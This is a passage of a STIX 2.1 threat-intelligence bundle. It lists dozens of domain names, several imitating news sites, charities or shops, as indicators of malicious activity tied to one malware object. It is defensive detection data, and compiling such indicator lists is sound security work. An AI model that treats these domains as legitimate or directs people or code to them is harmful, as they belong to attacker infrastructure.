"relationship_type": "indicates", "source_ref": "indicator--798c767e-83b0-4391-b1a6-cd7c836cea2a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--38c80ea1-034b-4929-91b4-12a2f7ac7d7f", "created": "2024-01-26T21:28:21.408959Z", "modified": "2024-01-26T21:28:21.408959Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='statsads.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.408959Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3f0a3a22-f767-4639-b264-6148eed708ec", "created": "2024-01-26T21:28:21.409338Z", "modified": "2024-01-26T21:28:21.409338Z", "relationship_type": "indicates", "source_ref": "indicator--38c80ea1-034b-4929-91b4-12a2f7ac7d7f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6eded7f9-3233-4b6c-9b3e-82b3649b60ce", "created": "2024-01-26T21:28:21.409434Z", "modified": "2024-01-26T21:28:21.409434Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='akhbara-aalawsat.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.409434Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--835d5555-0ae2-4655-9b92-3b7c75a3efef", "created": "2024-01-26T21:28:21.409826Z", "modified": "2024-01-26T21:28:21.409826Z", "relationship_type": "indicates", "source_ref": "indicator--6eded7f9-3233-4b6c-9b3e-82b3649b60ce", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--127cd32a-13a5-488f-9c5b-c14e20896718", "created": "2024-01-26T21:28:21.409921Z", "modified": "2024-01-26T21:28:21.409921Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='nouveau-president.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.409921Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ebb1424e-3536-41c2-bd14-2734983e0a48", "created": "2024-01-26T21:28:21.410314Z", "modified": "2024-01-26T21:28:21.410314Z", "relationship_type": "indicates", "source_ref": "indicator--127cd32a-13a5-488f-9c5b-c14e20896718", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2d4e986f-9286-4faf-af48-46074faa991b", "created": "2024-01-26T21:28:21.410412Z", "modified": "2024-01-26T21:28:21.410412Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cablegirls.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.410412Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e1b15519-3d13-49b2-8062-fe063720480c", "created": "2024-01-26T21:28:21.410795Z", "modified": "2024-01-26T21:28:21.410795Z", "relationship_type": "indicates", "source_ref": "indicator--2d4e986f-9286-4faf-af48-46074faa991b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--166534e2-c72c-42d8-8e5f-e6e13ac62237", "created": "2024-01-26T21:28:21.410889Z", "modified": "2024-01-26T21:28:21.410889Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='thankstossl.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.410889Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f7da4cc6-9753-43c0-8a64-eb7dda16bfbb", "created": "2024-01-26T21:28:21.41158Z", "modified": "2024-01-26T21:28:21.41158Z", "relationship_type": "indicates", "source_ref": "indicator--166534e2-c72c-42d8-8e5f-e6e13ac62237", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b3048c5f-1741-44b8-9c16-d8705cdb74b4", "created": "2024-01-26T21:28:21.41168Z", "modified": "2024-01-26T21:28:21.41168Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='456h612i458g.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.41168Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7d6af6c5-1d73-4671-9a5a-378217a416e1", "created": "2024-01-26T21:28:21.412132Z", "modified": "2024-01-26T21:28:21.412132Z", "relationship_type": "indicates", "source_ref": "indicator--b3048c5f-1741-44b8-9c16-d8705cdb74b4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--85588bc9-8efe-4e02-b6ff-024eb79c1695", "created": "2024-01-26T21:28:21.412233Z", "modified": "2024-01-26T21:28:21.412233Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='vastdealsnow.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.412233Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0d2c1880-cee0-4f6a-b2da-403c17f8ba84", "created": "2024-01-26T21:28:21.412625Z", "modified": "2024-01-26T21:28:21.412625Z", "relationship_type": "indicates", "source_ref": "indicator--85588bc9-8efe-4e02-b6ff-024eb79c1695", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--149a6edf-c51c-4d90-b1af-e57a068176d2", "created": "2024-01-26T21:28:21.412723Z", "modified": "2024-01-26T21:28:21.412723Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='breakthenews.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.412723Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--71ea603a-1c51-4290-a0d2-9c7e54ccd9b3", "created": "2024-01-26T21:28:21.413113Z", "modified": "2024-01-26T21:28:21.413113Z", "relationship_type": "indicates", "source_ref": "indicator--149a6edf-c51c-4d90-b1af-e57a068176d2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--273f81c0-5010-4c73-9003-8e957ec088ff", "created": "2024-01-26T21:28:21.413209Z", "modified": "2024-01-26T21:28:21.413209Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='rapidredirecting.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.413209Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f3b4e902-35cb-49a0-b81a-1e733ead069e", "created": "2024-01-26T21:28:21.413601Z", "modified": "2024-01-26T21:28:21.413601Z", "relationship_type": "indicates", "source_ref": "indicator--273f81c0-5010-4c73-9003-8e957ec088ff", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1882f062-f9db-44a4-ad58-e8a34e56e7e6", "created": "2024-01-26T21:28:21.413697Z", "modified": "2024-01-26T21:28:21.413697Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='icecreamlovesme.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.413697Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--46ab6299-f4db-45e9-9737-707bb04dc3d0", "created": "2024-01-26T21:28:21.414083Z", "modified": "2024-01-26T21:28:21.414083Z", "relationship_type": "indicates", "source_ref": "indicator--1882f062-f9db-44a4-ad58-e8a34e56e7e6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e46f6e87-9f72-4ea2-8049-d80633a90294", "created": "2024-01-26T21:28:21.414184Z", "modified": "2024-01-26T21:28:21.414184Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='normal-brain.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.414184Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b168e2ff-e091-42b9-8e2b-4fb5950c9dce", "created": "2024-01-26T21:28:21.414573Z", "modified": "2024-01-26T21:28:21.414573Z", "relationship_type": "indicates", "source_ref": "indicator--e46f6e87-9f72-4ea2-8049-d80633a90294", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9360503e-d1b7-4dcd-9031-ca407069a155", "created": "2024-01-26T21:28:21.414668Z", "modified": "2024-01-26T21:28:21.414668Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='newsofficial.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.414668Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--32ec27f9-d36a-44e9-9008-dfb580189c5b", "created": "2024-01-26T21:28:21.415051Z", "modified": "2024-01-26T21:28:21.415051Z", "relationship_type": "indicates", "source_ref": "indicator--9360503e-d1b7-4dcd-9031-ca407069a155", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b1daf0d4-f8b6-4127-87cc-411a60acc67e", "created": "2024-01-26T21:28:21.415146Z", "modified": "2024-01-26T21:28:21.415146Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='weddingbandsoft.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.415146Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a964a753-e96d-4f8b-8a11-2a396467d4d0", "created": "2024-01-26T21:28:21.415537Z", "modified": "2024-01-26T21:28:21.415537Z", "relationship_type": "indicates", "source_ref": "indicator--b1daf0d4-f8b6-4127-87cc-411a60acc67e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8db96666-da9a-4964-94ee-8ce694aaf03a", "created": "2024-01-26T21:28:21.415636Z", "modified": "2024-01-26T21:28:21.415636Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='carrefour-des-affaires.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.415636Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--01e72304-eb8b-4e95-b9ce-f51e905dffba", "created": "2024-01-26T21:28:21.416037Z", "modified": "2024-01-26T21:28:21.416037Z", "relationship_type": "indicates", "source_ref": "indicator--8db96666-da9a-4964-94ee-8ce694aaf03a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6382485b-5b2e-41b8-813a-b2a1fce67e11", "created": "2024-01-26T21:28:21.416133Z", "modified": "2024-01-26T21:28:21.416133Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='fishingtrickz.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.416133Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5e2532ea-f4f1-46e5-87a7-a1dd4063e33b", "created": "2024-01-26T21:28:21.416607Z", "modified": "2024-01-26T21:28:21.416607Z", "relationship_type": "indicates", "source_ref": "indicator--6382485b-5b2e-41b8-813a-b2a1fce67e11", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5bd6e889-4fee-4e7d-9819-14e7723d501c", "created": "2024-01-26T21:28:21.416703Z", "modified": "2024-01-26T21:28:21.416703Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='holiday4u.work']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.416703Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--83d76b25-d77b-41c6-a09d-c26f99098595", "created": "2024-01-26T21:28:21.417083Z", "modified": "2024-01-26T21:28:21.417083Z", "relationship_type": "indicates", "source_ref": "indicator--5bd6e889-4fee-4e7d-9819-14e7723d501c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--271248ac-d544-4a6d-8e75-f388ba19d13d", "created": "2024-01-26T21:28:21.417181Z", "modified": "2024-01-26T21:28:21.417181Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sportupdates.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.417181Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--60c2c6c1-7066-4c84-b40d-748ee5943e18", "created": "2024-01-26T21:28:21.417572Z", "modified": "2024-01-26T21:28:21.417572Z", "relationship_type": "indicates", "source_ref": "indicator--271248ac-d544-4a6d-8e75-f388ba19d13d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5f43afb4-2915-48ad-b1d8-b86d7d05c953", "created": "2024-01-26T21:28:21.417669Z", "modified": "2024-01-26T21:28:21.417669Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='dramatic-challenge.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.417669Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--28ed9c88-821c-4dfc-b079-b25d47d79732", "created": "2024-01-26T21:28:21.418062Z", "modified": "2024-01-26T21:28:21.418062Z", "relationship_type": "indicates", "source_ref": "indicator--5f43afb4-2915-48ad-b1d8-b86d7d05c953", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b396c346-a60b-4fb2-942d-ba3987cda180", "created": "2024-01-26T21:28:21.418162Z", "modified": "2024-01-26T21:28:21.418162Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='emiratesfoundation.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.418162Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e95e4d17-e5e1-480d-9bf4-30fd9ed0e58f", "created": "2024-01-26T21:28:21.418553Z", "modified": "2024-01-26T21:28:21.418553Z", "relationship_type": "indicates", "source_ref": "indicator--b396c346-a60b-4fb2-942d-ba3987cda180", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2548df55-6946-4251-9b9a-5cb947487009", "created": "2024-01-26T21:28:21.418647Z", "modified": "2024-01-26T21:28:21.418647Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='un-limitededitions.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.418647Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9aa53070-ab3b-4441-afec-c85b16dd5ec9", "created": "2024-01-26T21:28:21.419038Z", "modified": "2024-01-26T21:28:21.419038Z", "relationship_type": "indicates", "source_ref": "indicator--2548df55-6946-4251-9b9a-5cb947487009", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7d54f631-a804-4e7b-9df1-c1e717913d0c", "created": "2024-01-26T21:28:21.419136Z", "modified": "2024-01-26T21:28:21.419136Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='islamiyaat.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.419136Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--af96cc4b-6e95-4116-9b9b-ced35224cf12", "created": "2024-01-26T21:28:21.419518Z", "modified": "2024-01-26T21:28:21.419518Z", "relationship_type": "indicates", "source_ref": "indicator--7d54f631-a804-4e7b-9df1-c1e717913d0c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--02a20333-8a51-4e18-9507-0f4284fb9f3b", "created": "2024-01-26T21:28:21.419614Z", "modified": "2024-01-26T21:28:21.419614Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='icrcworld.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.419614Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9587a5e9-7e55-4ede-adef-18f7153b1d57", "created": "2024-01-26T21:28:21.419997Z", "modified": "2024-01-26T21:28:21.419997Z", "relationship_type": "indicates", "source_ref": "indicator--02a20333-8a51-4e18-9507-0f4284fb9f3b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6ea94742-ba2d-40aa-9d6a-76a9047ef0b6", "created": "2024-01-26T21:28:21.420099Z", "modified": "2024-01-26T21:28:21.420099Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='phonemetrics.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.420099Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--34658936-a1f3-4a4a-a493-305322b16fa6", "created": "2024-01-26T21:28:21.420486Z", "modified": "2024-01-26T21:28:21.420486Z", "relationship_type": "indicates", "source_ref": "indicator--6ea94742-ba2d-40aa-9d6a-76a9047ef0b6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--38fc4c67-4f11-4697-92bb-73841e8d5441", "created": "2024-01-26T21:28:21.420582Z", "modified": "2024-01-26T21:28:21.420582Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='hona-alrabe3.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.420582Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--dbb15e68-b310-45b5-b1bb-aaf99addba9a", "created": "2024-01-26T21:28:21.421054Z", "modified": "2024-01-26T21:28:21.421054Z", "relationship_type": "indicates", "source_ref": "indicator--38fc4c67-4f11-4697-92bb-73841e8d5441", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ecae2530-892b-4a05-be52-dd58844820ed", "created": "2024-01-26T21:28:21.421153Z", "modified": "2024-01-26T21:28:21.421153Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='movie-tickets.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.421153Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--42703e9d-5d86-45db-b196-7e6b5aaef772", "created": "2024-01-26T21:28:21.421545Z", "modified": "2024-01-26T21:28:21.421545Z", "relationship_type": "indicates", "source_ref": "indicator--ecae2530-892b-4a05-be52-dd58844820ed", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ae4aa248-9c5d-4ac5-8ffc-75d077d0fba6", "created": "2024-01-26T21:28:21.421641Z", "modified": "2024-01-26T21:28:21.421641Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cheapsolutions4u.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.421641Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c72dbcbf-f3de-496b-9685-d688c0a6dd26", "created": "2024-01-26T21:28:21.422034Z", "modified": "2024-01-26T21:28:21.422034Z", "relationship_type": "indicates", "source_ref": "indicator--ae4aa248-9c5d-4ac5-8ffc-75d077d0fba6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5cd5fc4f-03d0-4fd9-8f69-509bdab409b4", "created": "2024-01-26T21:28:21.422139Z", "modified": "2024-01-26T21:28:21.422139Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mygreathat.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.422139Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9277732a-e95c-40c5-826e-d2b40078e1ec", "created": "2024-01-26T21:28:21.422522Z", "modified": "2024-01-26T21:28:21.422522Z", "relationship_type": "indicates", "source_ref": "indicator--5cd5fc4f-03d0-4fd9-8f69-509bdab409b4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--aa325e9a-3043-4e4b-b946-29ed91ee3045", "created": "2024-01-26T21:28:21.42262Z", "modified": "2024-01-26T21:28:21.42262Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='active-folders.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.42262Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--dc28a34b-bd6c-4e05-8dd8-0978e710c81a", "created": "2024-01-26T21:28:21.423009Z", "modified": "2024-01-26T21:28:21.423009Z", "relationship_type": "indicates", "source_ref": "indicator--aa325e9a-3043-4e4b-b946-29ed91ee3045", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f37aa801-0ee9-492b-acad-44296107d1c1", "created": "2024-01-26T21:28:21.423106Z", "modified": "2024-01-26T21:28:21.423106Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='betterhandsblack.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.423106Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6f71fb35-6848-4575-9a87-a424a3b9088f", "created": "2024-01-26T21:28:21.423497Z", "modified": "2024-01-26T21:28:21.423497Z", "relationship_type": "indicates", "source_ref": "indicator--f37aa801-0ee9-492b-acad-44296107d1c1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2f8592ea-f9e4-454b-b6ec-61de9c39caa9", "created": "2024-01-26T21:28:21.423597Z", "modified": "2024-01-26T21:28:21.423597Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='zsports-info.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.423597Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--624ce7d6-0da1-485e-89da-8903e0a4280a", "created": "2024-01-26T21:28:21.423982Z", "modified": "2024-01-26T21:28:21.423982Z", "relationship_type": "indicates", "source_ref": "indicator--2f8592ea-f9e4-454b-b6ec-61de9c39caa9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fced41fb-c179-456c-a98b-f09b957654b5", "created": "2024-01-26T21:28:21.424082Z", "modified": "2024-01-26T21:28:21.424082Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bestsalesaroundme.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.424082Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--29007845-27bf-43dd-b593-b182d75dd2a0", "created": "2024-01-26T21:28:21.424476Z", "modified": "2024-01-26T21:28:21.424476Z", "relationship_type": "indicates", "source_ref": "indicator--fced41fb-c179-456c-a98b-f09b957654b5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d65f4f94-ebab-4ad8-b7b0-6e3e7c54a358", "created": "2024-01-26T21:28:21.424572Z", "modified": "2024-01-26T21:28:21.424572Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='novoicenoprob.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.424572Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c45bfd58-f404-4cc4-a2d7-9dc64dedc279", "created": "2024-01-26T21:28:21.424956Z", "modified": "2024-01-26T21:28:21.424956Z", "relationship_type": "indicates", "source_ref": "indicator--d65f4f94-ebab-4ad8-b7b0-6e3e7c54a358", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a0fb36d9-1184-4e8b-996f-8dea763b0645", "created": "2024-01-26T21:28:21.425051Z", "modified": "2024-01-26T21:28:21.425051Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='goodthoughts4u.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.425051Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--38cfd9da-e7e7-4a86-bc38-4a6c63cfd10b", "created": "2024-01-26T21:28:21.425522Z", "modified": "2024-01-26T21:28:21.425522Z", "relationship_type": "indicates", "source_ref": "indicator--a0fb36d9-1184-4e8b-996f-8dea763b0645", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6061d5b3-afd1-473a-ae0d-b8727e2b7ae2", "created": "2024-01-26T21:28:21.425619Z", "modified": "2024-01-26T21:28:21.425619Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='newredirect.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.425619Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f4e21ba9-44be-4bee-b5e8-827b2d7a5ef6", "created": "2024-01-26T21:28:21.42601Z", "modified": "2024-01-26T21:28:21.42601Z", "relationship_type": "indicates", "source_ref": "indicator--6061d5b3-afd1-473a-ae0d-b8727e2b7ae2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--092b8009-2304-4b63-986b-5488da3303d1", "created": "2024-01-26T21:28:21.426109Z", "modified": "2024-01-26T21:28:21.426109Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='flashtraininggoal.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.426109Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--af28bbf7-9c64-4afe-8e73-95f9f6b0bc23", "created": "2024-01-26T21:28:21.426502Z", "modified": "2024-01-26T21:28:21.426502Z", "relationship_type": "indicates", "source_ref": "indicator--092b8009-2304-4b63-986b-5488da3303d1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c3fab327-d62b-4d49-acdc-071c81450c29", "created": "2024-01-26T21:28:21.426598Z", "modified": "2024-01-26T21:28:21.426598Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='prioritytrail.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.426598Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0c9cc8ec-d071-49a9-8e2e-57fc967c1a80", "created": "2024-01-26T21:28:21.426985Z", "modified": "2024-01-26T21:28:21.426985Z", "relationship_type": "indicates", "source_ref": "indicator--c3fab327-d62b-4d49-acdc-071c81450c29", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7cc32ec0-0713-4321-8bb2-8e391183a2fc", "created": "2024-01-26T21:28:21.42708Z", "modified": "2024-01-26T21:28:21.42708Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='donateaflower.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.42708Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2c4bb612-b358-4035-942f-d286656c5eca", "created": "2024-01-26T21:28:21.427469Z", "modified": "2024-01-26T21:28:21.427469Z", "relationship_type": "indicates", "source_ref": "indicator--7cc32ec0-0713-4321-8bb2-8e391183a2fc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a8f670af-ed11-4e90-861d-dccd1f3191ff", "created": "2024-01-26T21:28:21.427566Z", "modified": "2024-01-26T21:28:21.427566Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='colorfulnotebooks.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.427566Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--307146ee-8b7d-4a45-b1c5-d93942461882", "created": "2024-01-26T21:28:21.427954Z", "modified": "2024-01-26T21:28:21.427954Z", "relationship_type": "indicates", "source_ref": "indicator--a8f670af-ed11-4e90-861d-dccd1f3191ff", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a5684446-a167-44d0-a960-60c8fddc5111", "created": "2024-01-26T21:28:21.428054Z", "modified": "2024-01-26T21:28:21.428054Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sabafon.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.428054Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e7cb70a4-ac3b-433d-af7b-f2b24740f383", "created": "2024-01-26T21:28:21.428439Z", "modified": "2024-01-26T21:28:21.428439Z", "relationship_type": "indicates", "source_ref": 